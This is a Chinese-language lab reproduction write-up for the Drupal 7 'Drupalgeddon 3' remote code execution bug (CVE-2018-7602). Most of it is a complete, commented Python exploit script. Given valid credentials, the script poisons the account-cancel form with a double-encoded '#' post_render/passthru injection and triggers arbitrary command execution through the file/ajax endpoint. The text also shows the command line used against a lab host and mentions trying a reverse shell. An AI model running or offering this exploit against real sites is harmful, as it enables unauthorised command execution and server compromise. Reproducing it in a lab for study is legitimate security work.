Drupal Drupalgeddon 3 后台远程代码执行漏洞(CVE-2018-7602)
概述
Drupal 是一个用 PHP 语言编写的开源内容管理框架(CMF),它既可以看作是一个内容管理系统(CMS),又可以看作是一个开发框架,并在 GNU 通用公共许可证下分发。Drupal 具有高度的灵活性和可扩展性,能够满足从简单博客到复杂企业网站等各种需求。
在 Drupal 7.x 和 8.x 版本中存在远程代码执行漏洞。该漏洞是由于输入过滤不充分,通过对 URL 中的 #
字符进行两次 URL 编码可以绕过 sanitize()
函数过滤,从而导致远程代码执行。
漏洞复现
启动靶场以后,访问 http://192.168.2.243:8080/会跳转到 Drupal 的安装向导,该靶场没有数据库,数据库选择 SQLite,其余均默认随意安装即可。
在安装过程中,需要记住自己创建的用户名与密码。
此处创建的用户名为 123
,密码为 123456
。
使用 CVE-2018-7600 脚本执行命令,执行如下命名:
python poc.py -c "id" 123 123456 http://192.168.2.243:8080/
# id 为要执行的命令
# 123 为创建的用户名
# 123456 为创建的用户对应的密码
即可执行相应的命令。
尝试反弹 Shell。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 导入必要库
import requests # 用于发送HTTP请求
import argparse # 用于解析命令行参数
from bs4 import BeautifulSoup # 用于解析HTML文档
def get_args():
"""参数解析函数:处理命令行输入"""
# 创建参数解析器,设置程序描述和帮助信息格式
parser = argparse.ArgumentParser(
prog="drupa7-CVE-2018-7602.py",
# 自定义帮助信息格式(限制每行最大宽度50列)
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
# 在帮助信息末尾显示的漏洞描述
epilog= '''
该脚本利用Drupal 7 <= 7.58版本中的漏洞(CVE-2018-7602)
通过有效账户毒化用户取消表单(user_cancel_confirm_form),
利用'destination'参数并通过文件上传AJAX(/file/ajax)触发漏洞。
'''
)
# 添加必需参数
parser.add_argument("user", help="Drupal管理员用户名") # 用户名参数
parser.add_argument("password", help="Drupal管理员密码") # 密码参数
parser.add_argument("target", help="目标Drupal站点URL (例如: http://target.com/)") # 目标URL
# 添加可选参数
parser.add_argument("-c", "--command", default="id",
help="要执行的系统命令 (默认: id)") # 默认执行id命令
parser.add_argument("-f", "--function", default="passthru",
help="用于攻击的PHP函数 (默认: passthru)") # 默认使用passthru函数
parser.add_argument("-x", "--proxy", default="",
help="设置代理 (格式: http://127.0.0.1:8080/)") # 代理设置
args = parser.parse_args() # 解析参数
return args # 返回解析后的参数对象
def pwn_target(target, username, password, function, command, proxy):
"""主漏洞利用函数"""
# 禁用SSL证书验证警告(避免HTTPS证书错误)
requests.packages.urllib3.disable_warnings()
# 创建持久会话对象(维持cookies)
session = requests.Session()
# 配置代理设置(如果没有代理则为空)
proxyConf = {'http': proxy, 'https': proxy}
try:
print('[*] 正在使用提供的凭据创建会话...')
# 第一步:用户登录
get_params = {'q':'user/login'} # 访问登录页面的参数
# 登录表单数据(包含CSRF令牌)
post_params = {'form_id':'user_login', 'name': username, 'pass' : password, 'op':'Log in'}
# 发送登录POST请求
session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
# 第二步:获取用户ID
print('[*] 正在查找用户ID...')
get_params = {'q':'user'} # 访问用户主页
# 发送GET请求获取用户页面
r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
# 使用BeautifulSoup解析HTML
soup = BeautifulSoup(r.text, "html.parser")
# 从meta标签中提取用户ID(Drupal特定位置)
user_id = soup.find('meta', {'property': 'foaf:name'}).get('about')
# 处理用户ID格式(如果包含?q=参数)
if ("?q=" in user_id):
user_id = user_id.split("=")[1] # 分割字符串获取ID部分
if(user_id):
print('[*] 找到用户ID: ' + user_id) # 打印找到的用户ID
# 第三步:毒化表单(漏洞利用核心)
print('[*] 正在使用\'destination\'参数毒化表单并存入缓存...')
# 访问账户取消页面
get_params = {'q': user_id + '/cancel'}
r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
soup = BeautifulSoup(r.text, "html.parser")
# 查找账户取消表单
form = soup.find('form', {'id': 'user-cancel-confirm-form'})
# 提取CSRF令牌(防止跨站请求伪造)
form_token = form.find('input', {'name': 'form_token'}).get('value')
# 构造恶意destination参数(漏洞利用关键)
# %23是#的URL编码,用于绕过Drupal的输入过滤
get_params = {
'q': user_id + '/cancel',
# 注入恶意参数:
# q[#post_render][] - 指定回调函数
# q[#type] - 定义内容类型
# q[#markup] - 包含要执行的命令
'destination': user_id +'/cancel?q[%23post_render][]=' + function +
'&q[%23type]=markup&q[%23markup]=' + command
}
# 账户取消表单数据
post_params = {
'form_id':'user_cancel_confirm_form',
'form_token': form_token,
'_triggering_element_name':'form_id',
'op':'Cancel account'
}
# 发送毒化的表单(将恶意代码存入Drupal缓存)
r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
soup = BeautifulSoup(r.text, "html.parser")
form = soup.find('form', {'id': 'user-cancel-confirm-form'})
# 获取表单构建ID(标识被毒化的表单)
form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
if form_build_id:
print('[*] 毒化的表单ID: ' + form_build_id)
print('[*] 正在触发漏洞执行命令: ' + command)
# 第四步:通过AJAX触发漏洞执行命令
get_params = {'q':'file/ajax/actions/cancel/#options/path/' + form_build_id}
post_params = {'form_build_id':form_build_id}
# 发送最终请求触发代码执行
r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
# 解析并打印命令执行结果
parsed_result = r.text.split('[{"command":"settings"')[0]
print(parsed_result)
except Exception as e:
print("错误: 出现问题。")
print(f"异常详情: {str(e)}")
raise
def main():
"""主函数:程序入口"""
print('\n===================================================================')
print('| DRUPAL 7 <= 7.58 远程代码执行漏洞 (CVE-2018-7602) |')
print('| 作者: pimps |')
print('===================================================================')
# 获取命令行参数
args = get_args()
# 调用漏洞利用函数
pwn_target(
args.target.strip(), # 目标URL(去除首尾空格)
args.user.strip(), # 用户名(去除首尾空格)
args.password.strip(), # 密码(去除首尾空格)
args.function.strip(), # PHP函数(去除首尾空格)
args.command.strip(), # 要执行的命令(去除首尾空格)
args.proxy.strip() # 代理设置(去除首尾空格)
)
# Python脚本标准执行入口
if __name__ == '__main__':
main()